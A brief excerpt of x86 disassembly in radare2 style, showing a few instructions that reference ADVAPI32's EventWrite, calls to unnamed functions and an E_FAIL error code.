or dword [ebp - 4], reloc.ADVAPI32.dll_EventWrite
lea edi, [ebp - 0xa0]
call fcn.00406f79
call fcn.00408e1e
ret 0xc
push 0x80004005
call fcn.004027f5
int3